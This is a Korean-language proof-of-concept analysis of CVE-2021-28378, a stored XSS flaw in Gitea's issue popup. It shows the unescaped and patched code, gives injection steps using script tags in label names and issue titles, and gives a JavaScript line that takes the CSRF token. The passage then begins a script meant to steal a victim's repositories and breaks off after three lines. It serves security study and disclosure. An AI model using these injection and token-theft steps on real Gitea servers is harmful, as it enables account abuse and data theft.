
CVE-2021-28378에 대한 상세한 개념 증명 및 분석: Gitea의 저장형 XSS 취약점으로, git 훅을 통한 임의 코드 삽입, 권한 상승 및 원격 코드 실행을 가능하게 합니다.
이 CVE에 대한 자세한 내용은 여기에서 확인할 수 있습니다.
이 CVE는 서버에서 가져온 콘텐츠의 클라이언트 측에서 문자열 이스케이프가 누락된 것을 대상으로 합니다. 공격자가 이슈나 풀 리퀘스트에 댓글을 작성하여 쉽게 임의 코드를 주입할 수 있게 합니다. 이는 2020년 1월 말에 커밋 7d7ab1eeae43d99fe329878ac9c8db5e45e2dee5에서 도입되었지만, 스쿼시(squash) 때문에 정확히 누가 이 취약점을 도입했는지와 유사한 버그가 도입되었는지 조사할 수 없습니다.
먼저, 이 취약점이 어디서 발생하는지 이해해 봅시다. 이를 위해 이 CVE를 수정하는 커밋을 살펴보겠습니다.
수정 전:
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
html: `
<div>
<p><small>${issue.repository.full_name} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon)}</span> <strong>${issue.title}</strong> #${index}</p>
<p>${body}</p>
${labels}
</div>
`
label.name, issue.repository.full_name, issue.title, body에 HTML 이스케이프가 적용되지 않은 것을 볼 수 있습니다. 이 문자열들은 사용자가 조작할 수 있으므로 임의 코드를 주입할 수 있습니다.
issue.repository.full_name은 너무 많은 규칙([\w._-]+)을 따라야 하므로 이 CVE로는 우회할 수 없어 코드를 주입하기 위해 실제로 조작할 수는 없습니다.
정확히 이 PR이 htmlEscape로 캐스팅하여 수정한 부분입니다.
수정 후:
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${htmlEscape(label.name)}</div>`;
html: `
<div>
<p><small>${htmlEscape(issue.repository.full_name)} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon)}</span> <strong>${htmlEscape(issue.title)}</strong> #${index}</p>
<p>${htmlEscape(body)}</p>
${labels}
</div>
`
web_src/js/features/contextpopup.js 파일을 간략히 살펴보고 CVE를 어떻게 트리거하는지 알아봅시다.
...
const {AppSubUrl} = window.config;
export default function initContextPopups() {
const refIssues = $('.ref-issue');
if (!refIssues.length) return;
refIssues.each(function () {
const [index, _issues, repo, owner] = $(this).attr('href').replace(/[#?].*$/, '').split('/').reverse();
issuePopup(owner, repo, index, $(this));
});
}
function issuePopup(owner, repo, index, $element) {
$.get(`${AppSubUrl}/api/v1/repos/${owner}/${repo}/issues/${index}`, (issue) => {
...
for (let i = 0; i < issue.labels.length; i++) {
...
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
}
...
$element.popup({
variation: 'wide',
delay: {
show: 250
},
html: `
<div>
<p><small>${issue.repository.full_name} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon, 16)}</span> <strong>${issue.title}</strong> #${index}</p>
<p>${body}</p>
${labels}
</div>
`
});
});
}
여기서 볼 수 있듯이 ref-issue 클래스를 가진 각 노드에 대해 취약한 팝업이 추가됩니다.
이제 사용자에게 ref-issue가 전송되는 위치를 찾아야 합니다. grep을 사용해 보겠습니다(테스트 파일 등 흥미 없는 결과는 제외).
다음 커밋 번호는 공식 docker-compose.yml 파일의 기본 버전인 1.12.4 태그에 해당하며, 이 CVE의 영향을 받습니다.
cd gitea
git checkout 8a51c48eb6367513e0518bcd412e64f6cbfe5e1a
grep -r ref-issue
modules/markup/html.go: replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
modules/markup/html.go: replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
modules/markup/html.go: link = createLink(com.Expand(ctx.metas["format"], ctx.metas), reftext, "ref-issue")
modules/markup/html.go: link = createLink(util.URLJoin(setting.AppURL, ctx.metas["user"], ctx.metas["repo"], path, ref.Issue), reftext, "ref-issue")
modules/markup/html.go: link = createLink(util.URLJoin(setting.AppURL, ref.Owner, ref.Name, path, ref.Issue), reftext, "ref-issue")
modules/markup/sanitizer.go: sanitizer.policy.AllowAttrs("class").Matching(regexp.MustCompile(`ref-issue`)).OnElements("a")
이제 ref-issue 클래스를 가진 정적 콘텐츠는 없으며 동적으로 생성된다는 것을 알았습니다.
마지막 줄은 단순한 sanitizer 정책 규칙이므로 흥미롭지 않습니다. 나머지 줄은 흥미롭습니다. 그 이유를 알아봅시다.
modules/markup/html.go를 자세히 살펴보겠습니다.
func fullIssuePatternProcessor(ctx *postProcessCtx, node *html.Node) {
if ctx.metas == nil {
return
}
m := getIssueFullPattern().FindStringSubmatchIndex(node.Data)
if m == nil {
return
}
link := node.Data[m[0]:m[1]]
id := "#" + node.Data[m[2]:m[3]]
// extract repo and org name from matched link like
// http://localhost:3000/gituser/myrepo/issues/1
linkParts := strings.Split(path.Clean(link), "/")
matchOrg := linkParts[len(linkParts)-4]
matchRepo := linkParts[len(linkParts)-3]
if matchOrg == ctx.metas["user"] && matchRepo == ctx.metas["repo"] {
// TODO if m[4]:m[5] is not nil, then link is to a comment,
// and we should indicate that in the text somehow
replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
} else {
orgRepoID := matchOrg + "/" + matchRepo + id
replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
}
}
또한 getIssueFullPattern이 무엇을 하는지 이해해야 합니다.
func getIssueFullPattern() *regexp.Regexp {
if issueFullPattern == nil {
appURL := setting.AppURL
if len(appURL) > 0 && appURL[len(appURL)-1] != '/' {
appURL += "/"
}
issueFullPattern = regexp.MustCompile(appURL +
`\w+/\w+/(?:issues|pulls)/((?:\w{1,10}-)?[1-9][0-9]*)([\?|#]\S+.(\S+)?)?\b`)
}
return issueFullPattern
}
어떤 작업이 수행되는지 요약해 보겠습니다.
fullIssuePatternProcessor에서 먼저 ctx.metas가 nil이 아닌지 확인합니다(스택 추적의 상위 함수/메서드에 의해 구축되므로 true라고 가정합니다).
그런 다음 노드 데이터가 http://mygitea.com/gituser/myrepo/issues/1과 같은 경로와 일치하는지 확인합니다. 일치하면 링크로 대체합니다.
링크가 동일한 사용자와 저장소에 관한 것이면 #<issue_id> 패턴으로, 그렇지 않으면 <user>/<repo>#<issue_id> 패턴으로 대체합니다.
두 경우 모두 팝업을 생성하기 위해 ref-issue 클래스가 추가됩니다.
다른 grep 결과도 비슷한 작업을 수행합니다.
이제 컨텍스트를 파악했습니다. http://mygitea.com/gituser/myrepo/issues/1과 같은 링크를 더 짧은 링크로 바꾸는 작업이며, 이는 이슈와 PR에서 수행됩니다. 여기에 레이블을 추가하거나 댓글을 작성할 수 있습니다.
이를 위해 저장소에 쓰기 권한이 있다고 가정합니다.
저장소로 이동하여 임의 코드(예: <script>alert('label.name')</script>)가 포함된 이름으로 새 레이블을 만듭니다.
저장소의 이슈로 이동하여 제목과 본문에 임의 코드를 포함하고 이전에 만든 레이블을 추가한 새 이슈를 만듭니다.
임의의 저장소에 새 이슈를 만들고 본문에 http://mygitea.com/gituser/myrepo/issues/1과 같은 주입된 이슈에 대한 링크를 추가합니다.
그러면 앞서 본 링크로 대체되며, 누군가 링크 위에 마우스를 올리면 임의 코드가 실행됩니다. label.name이 포함된 팝업이 표시됩니다.
CVE-2021-28378은 임의 코드 주입이 가능함이 입증되었습니다. 공격자가 무엇을 할 수 있는지 상상해 봅시다.
Gitea에는 CSRF 토큰이 있어 양식을 작성하거나 API를 호출할 때 신원을 확인하여 Gitea iframe을 삽입하여 액세스를 탈취하는 보안 문제를 방지합니다.
CSRF 토큰은 쿠키(_csrf)에 저장되지만, 사용자가 방문하는 거의 모든 웹페이지(예: /api/v1/swagger 제외)의 특정 필드에도 저장됩니다. 따라서 이슈/PR 웹페이지에도 있습니다.
가장 흥미로운 필드는 HTML 페이지의 공통 헤더 부분에 있으며, 항상 동일한 XPath(/html/head/meta[9])를 가집니다.
이 데이터를 사용하면 페이로드에 영향을 받는 모든 사용자로부터 인증된 작업을 보낼 수 있습니다. JS에서 다음과 같이 CSRF 토큰을 가져옵니다: (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content.
이제 창의력을 발휘하여 다양한 공격을 구축할 차례입니다. 행동에 제한이 있지만 너무 많지는 않습니다.
label.name과 issue.title은 짧아야 하므로 많은 페이로드가 들어맞지 않습니다. 그러나 src 속성이 있는 script를 주입하여 원하는 스크립트를 참조할 수 있습니다.body는 길이 제한이 없지만 팝업 미리보기에서 데이터 미리보기가 제한됩니다. 페이로드가 트리거되려면 시작 부분에 있어야 합니다. 그러나 앞서 지정한 대로 script와 src 속성을 사용할 수 있습니다.구축할 수 있는 몇 가지 예를 살펴보겠습니다.
공격자가 사용자가 액세스할 수 있는 모든 저장소를 가져오려는 시나리오를 상상해 보십시오. 이 공격은 기밀성을 모두 깨뜨릴 수 있음을 증명합니다. 이 공격은 3단계로 수행됩니다.
이를 수행하는 JS 코드를 작성해 보겠습니다.
var AppURL = "http://mygitea.com";
var HackerRepo = "/hacker/mysaferepo"
var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;